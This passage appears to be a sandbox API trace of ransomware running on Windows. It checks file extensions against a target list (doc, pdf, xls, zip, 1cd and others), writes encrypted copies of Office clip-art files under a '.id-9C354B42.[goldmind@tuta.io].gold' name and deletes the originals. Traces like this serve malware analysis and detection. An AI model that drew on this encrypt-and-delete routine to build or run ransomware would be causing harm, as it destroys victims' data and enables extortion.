(lpString=".rar") returned 4 [0113.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString=".bz2") returned 4 [0113.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString=".7z") returned 3 [0113.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".dbf") returned 4 [0113.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".1cd") returned 4 [0113.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".jpg") returned 4 [0113.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".doc") returned 4 [0113.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString=".docx") returned 5 [0113.499] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.499] lstrlenW (lpString=".pdf") returned 4 [0113.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString=".xls") returned 4 [0113.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.499] lstrlenW (lpString=".xlsx") returned 5 [0113.499] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.499] lstrlenW (lpString=".ppt") returned 4 [0113.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".zip") returned 4 [0113.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.499] lstrlenW (lpString=".rar") returned 4 [0113.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString=".bz2") returned 4 [0113.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString=".7z") returned 3 [0113.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".dbf") returned 4 [0113.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".1cd") returned 4 [0113.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0113.499] lstrlenW (lpString=".jpg") returned 4 [0113.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.500] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.500] lstrlenW (lpString="J0186364.WMF") returned 12 [0113.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.500] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=18212) returned 1 [0113.500] CloseHandle (hObject=0x364) returned 1 [0113.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 0x20 [0113.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.501] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.501] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0113.502] GetLastError () returned 0x0 [0113.502] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x4724, lpOverlapped=0x0) returned 1 [0113.522] WriteFile (in: hFile=0x3d4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4730, lpOverlapped=0x0) returned 1 [0113.523] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.523] WriteFile (in: hFile=0x3d4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.523] SetEndOfFile (hFile=0x3d4) returned 1 [0113.523] CloseHandle (hObject=0x3d4) returned 1 [0113.523] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.523] SetEndOfFile (hFile=0x364) returned 1 [0113.525] CloseHandle (hObject=0x364) returned 1 [0113.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString=".doc") returned 4 [0113.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString=".docx") returned 5 [0113.555] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.555] lstrlenW (lpString=".pdf") returned 4 [0113.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString=".xls") returned 4 [0113.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.555] lstrlenW (lpString=".xlsx") returned 5 [0113.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.555] lstrlenW (lpString=".ppt") returned 4 [0113.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString=".zip") returned 4 [0113.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.555] lstrlenW (lpString=".rar") returned 4 [0113.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString=".bz2") returned 4 [0113.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString=".7z") returned 3 [0113.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString=".dbf") returned 4 [0113.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString=".1cd") returned 4 [0113.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString=".jpg") returned 4 [0113.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.555] lstrlenW (lpString=".doc") returned 4 [0113.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString=".docx") returned 5 [0113.555] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.555] lstrlenW (lpString=".pdf") returned 4 [0113.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.555] lstrlenW (lpString=".xls") returned 4 [0113.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.555] lstrlenW (lpString=".xlsx") returned 5 [0113.556] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.556] lstrlenW (lpString=".ppt") returned 4 [0113.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.556] lstrlenW (lpString=".zip") returned 4 [0113.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.556] lstrlenW (lpString=".rar") returned 4 [0113.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.556] lstrlenW (lpString=".bz2") returned 4 [0113.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.556] lstrlenW (lpString=".7z") returned 3 [0113.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.556] lstrlenW (lpString=".dbf") returned 4 [0113.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.556] lstrlenW (lpString=".1cd") returned 4 [0113.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0113.556] lstrlenW (lpString=".jpg") returned 4 [0113.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.556] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.556] lstrlenW (lpString="J0187825.WMF") returned 12 [0113.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.557] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7500) returned 1 [0113.557] CloseHandle (hObject=0x198) returned 1 [0113.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 0x20 [0113.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.558] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.558] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.559] GetLastError () returned 0x0 [0113.559] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1d4c, lpOverlapped=0x0) returned 1 [0113.571] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1d50, lpOverlapped=0x0) returned 1 [0113.572] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.572] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.572] SetEndOfFile (hFile=0x194) returned 1 [0113.572] CloseHandle (hObject=0x194) returned 1 [0113.572] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.572] SetEndOfFile (hFile=0x198) returned 1 [0113.574] CloseHandle (hObject=0x198) returned 1 [0113.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf")) returned 1 [0113.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.575] lstrlenW (lpString=".doc") returned 4 [0113.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.575] lstrlenW (lpString=".docx") returned 5 [0113.575] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.575] lstrlenW (lpString=".pdf") returned 4 [0113.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.575] lstrlenW (lpString=".xls") returned 4 [0113.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.576] lstrlenW (lpString=".xlsx") returned 5 [0113.576] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.576] lstrlenW (lpString=".ppt") returned 4 [0113.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString=".zip") returned 4 [0113.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.576] lstrlenW (lpString=".rar") returned 4 [0113.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString=".bz2") returned 4 [0113.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString=".7z") returned 3 [0113.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString=".dbf") returned 4 [0113.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString=".1cd") returned 4 [0113.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString=".jpg") returned 4 [0113.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString=".doc") returned 4 [0113.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString=".docx") returned 5 [0113.576] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.576] lstrlenW (lpString=".pdf") returned 4 [0113.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString=".xls") returned 4 [0113.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.576] lstrlenW (lpString=".xlsx") returned 5 [0113.576] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.576] lstrlenW (lpString=".ppt") returned 4 [0113.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.576] lstrlenW (lpString=".zip") returned 4 [0113.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.576] lstrlenW (lpString=".rar") returned 4 [0113.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString=".bz2") returned 4 [0113.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.576] lstrlenW (lpString=".7z") returned 3 [0113.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.577] lstrlenW (lpString=".dbf") returned 4 [0113.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.577] lstrlenW (lpString=".1cd") returned 4 [0113.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF") returned 63 [0113.577] lstrlenW (lpString=".jpg") returned 4 [0113.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.577] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.577] lstrlenW (lpString="J0187835.WMF") returned 12 [0113.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.578] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9344) returned 1 [0113.578] CloseHandle (hObject=0x198) returned 1 [0113.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 0x20 [0113.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.578] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.578] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0113.579] GetLastError () returned 0x0 [0113.579] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2480, lpOverlapped=0x0) returned 1 [0113.595] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2490, lpOverlapped=0x0) returned 1 [0113.595] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.595] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.596] SetEndOfFile (hFile=0x194) returned 1 [0113.596] CloseHandle (hObject=0x194) returned 1 [0113.596] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.596] SetEndOfFile (hFile=0x198) returned 1 [0113.785] CloseHandle (hObject=0x198) returned 1 [0113.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0113.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.786] lstrlenW (lpString=".doc") returned 4 [0113.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.786] lstrlenW (lpString=".docx") returned 5 [0113.786] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.786] lstrlenW (lpString=".pdf") returned 4 [0113.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.786] lstrlenW (lpString=".xls") returned 4 [0113.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.786] lstrlenW (lpString=".xlsx") returned 5 [0113.786] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.786] lstrlenW (lpString=".ppt") returned 4 [0113.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.786] lstrlenW (lpString=".zip") returned 4 [0113.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.786] lstrlenW (lpString=".rar") returned 4 [0113.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.786] lstrlenW (lpString=".bz2") returned 4 [0113.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString=".7z") returned 3 [0113.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".dbf") returned 4 [0113.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".1cd") returned 4 [0113.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".jpg") returned 4 [0113.787] lstrcmpiW 